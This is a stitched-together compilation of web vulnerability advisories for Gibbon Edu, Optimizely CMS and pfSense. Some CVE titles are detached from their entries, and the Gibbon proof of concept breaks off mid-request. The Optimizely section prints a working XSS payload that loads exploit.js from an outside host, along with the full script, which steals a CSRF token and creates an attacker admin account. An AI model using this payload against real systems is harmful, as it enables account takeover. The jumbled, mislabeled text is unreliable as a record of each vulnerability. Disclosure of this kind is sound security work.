**Security Risk**: High  
**Vendor URL**: https://gibbonedu.org  
**Vendor acknowledged vulnerability**: Yes  
**Vendor Status**: Fixed  
**CVE number**: CVE-2023-45881

**Desciption**

Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processes  
It offers a range of features to facilitate communication, collaboration, and organization within the educational community.

A reflected XSS was found in the filename of uploaded files.  
This can lead to the creation of arbitrary high privileged accounts.

**Proof of Concept**

The application allows to upload files without prior authentication using the

/modules/Planner/resources\_addQuick\_ajaxProcess.php

endpoint.

The following request can be used to upload files to the server:

POST /modules/Planner/resources\_addQuick\_ajaxProcess.php HTTP/1.1
Host: localhost:8080
\[...\]

CVE-2023-45879: usd-2023-0019 - usd HeroLab

Optimizely CMS UI before v12.16.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Admin panel.

**Description**

The Optimizely admin interface was vulnerable to DOM-based cross-site scripting (XSS), which could allow an attacker to execute malicious Javascript code in a legitimate user's browser. 

Optimizely CMS is a widely used content management system that allows users to create and manage digital content. The CMS was previously called Episerver.

**Impact**

WithSecure weaponized the XSS to automatically create an attacker-controlled admin user in Optimizely as a proof of concept. This could be used in conjunction with, for example, phishing to take control of Optimizely instances.

**Proof of concept**

The Optimizely admin panel utilized JavaScript to fetch and display content. The frontend looked at the content in the URL fragment and attempted to fetch the requested content. If the fetch failed, such as when the content did not exist, a dialogue would be displayed with an error message. The way this error message was displayed to the user left the application vulnerable to XSS. An example error can be viewed in the  screenshot below:

The error message is displayed to the user by setting the innerHTML attribute on an element with the message content. The attacker-controlled input in this message is not sanitized or validated before the assignment. This allows an attacker to control the HTML content of the element. As an example, by visiting the following URL:

http://172.20.0.3/EPiServer/CMS/#context=epi.cms.contentdata:///%3Cimg%20src=x%20onerror=alert(%22xss%22)%3E

An alert popup in the user's browser (provided they are signed in to Optimizely) will be displayed, indicating that it is possible to execute arbitrary JavaScript:

Below is a debugging session where the attacker-controlled input reaches the vulnerable sink in widgets.js:

In the above screenshot, the contents of the variable _**\_5c1**_ is printed in the browser console. The content is an error message meant to be displayed to the user, saying that the requested URL could not be loaded followed by the attacker provided data. 

WithSecure weaponized the XSS to automatically add a new admin user to Optimizely when a link was clicked:

http://172.20.0.3/EPiServer/cms#context=epi.cms.contentdata:///%3Cimg%20src=x%20onerror=%22document.write('%3Cscript%20src=\\'http://192.168.84.168:8000/exploit.js\\'%3E%3C/script%3E')%22%3E

The URL-decoded payload can be viewed below:

<img src=x onerror="document.write('<script src=\\'http://192.168.84.168:8000/exploit.js\\'></script>')">

Since the user provided input reaches an innerHTML sink, regular  <script> tags cannot be used to execute Javascript. Instead, an image tag with an  onerror attribute is used to write a script tag to the DOM. The browser would then load  additional attacker-controlled Javascript from  http://192.168.84.168:8000/exploit.js. In a real-world scenario, this would be a host on the Internet instead of an internal host. The contents of exploit.js:

fetch('http://172.20.0.3/EPiServer/EPiServer.Cms.UI.Admin/default', { 'credentials': 'include' }).then(response => response.text()).then(data => data.match(/value="(.\*)\\"/)\[1\]).then(token => { json={"username":"hacker","email":"hacker@hack.hack","isChangePassword":true,"password":"Password1!","confirmPassword":"Password1!","currentPassword":"","passwordAnswer":"","language":null,"touchSupport":false,"headlessModeEnabled":false,"roles":\["WebAdmins"\],"isApproved":true,"isLockedOut":false};fetch('http://172.20.0.3/EPiServer/EPiServer.Cms.UI.Admin/users/Create',{'credentials':'include','body':JSON.stringify(json),'method':'POST',headers:{'Content-Type':'application/json','RequestVerificationToken':token}})})

The above script adds a user called hacker with a pre-set password as a web admin in Optimizely. An attacker would need to trick a user into clicking a malicious link that triggers the XSS vulnerability, and if the user is signed in to Optimizely, an attacker-controlled admin account would be created. The attacker can subsequently sign in to Optimizely using the account.

CVE-2023-31754: Optimizely CMS Admin Panel DOM XSS

Cross Site Scripting (XSS) vulnerability in Netgate pfSense v.2.7.0 allows a remote attacker to gain privileges via a crafted url to the status_logs_filter_dynamic.php page.

\-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= pfSense-SA-23\_09.webgui Security Advisory pfSense Topic: XSS vulnerability in the WebGUI Category: pfSense Base System Module: webgui Announced: 2023-10-31 Credits: Oskar Zeino-Mahmalat (Sonar) CVE ID: CVE-2023-42325 Affects: pfSense Plus software versions <= 23.05.1 pfSense CE software versions <= 2.7.0 Corrected: 2023-07-05 18:51:06 UTC (pfSense Plus master, 23.09) 2023-07-05 18:51:06 UTC (pfSense CE master, 2.8.0) 0. Revision History v1.0 2023-10-31 Initial SA draft I. Background pfSense® software is a free network firewall distribution based on the FreeBSD operating system. The pfSense software distribution includes third- party free software packages for additional functionality, and provides most of the functionality of common commercial firewalls. pfSense® Plus is the productized version of pfSense software from Netgate®, previously referred to as pfSense Factory Edition (FE). It is available to Netgate appliance and CSP customers. The majority of users of pfSense software have never installed or used a stock FreeBSD system. Unlike similar GNU/Linux-based firewall distributions, there is no need for any UNIX knowledge. The command line is never used, and there is no need to ever manually edit any rule sets. Instead, pfSense software includes a web interface for the configuration of all included components. Users familiar with commercial firewalls will quickly understand the web interface, while those unfamiliar with commercial-grade firewalls may encounter a short learning curve. II. Problem Description A potential Cross-Site Scripting (XSS) vulnerability was found in status\_logs\_filter\_dynamic.php, a component of the pfSense Plus and pfSense CE software GUI. The page does not always validate or sanitize the value of the "interface" variable from user input when using RAW mode ("filtersubmit=1"), which then may be printed without encoding inside a block of JavaScript code. This problem is present on pfSense Plus version 23.05.1, pfSense CE version 2.7.0, and earlier versions of both. III. Impact Due to the lack of proper encoding on the affected parameters susceptible to XSS, arbitrary JavaScript could be executed in the user's browser. The user's session cookie or other information from the session may be compromised. The user must be logged in and have sufficient privileges to access status\_logs\_filter\_dynamic.php. IV. Workaround To help mitigate the problem on older releases, use one or more of the following: \* Limit access to the affected pages to trusted administrators only. \* Do not log into the firewall with the same browser used for non- administrative web browsing. V. Solution Users can upgrade to pfSense Plus software version 23.09 or later, or a pfSense CE software version after 2.7.0, when one is available. This upgrade may be performed in the web interface or from the console. See https://docs.netgate.com/pfsense/en/latest/install/upgrade-guide.html Users on pfSense Plus version 23.05.1 and pfSense CE version 2.7.0 may apply the fix from the recommended patches list in the System Patches package. Users may also manually apply the relevant revisions below using the System Patches package on earlier versions, or by manually making similar changes to the affected files if the patches do not apply directly.
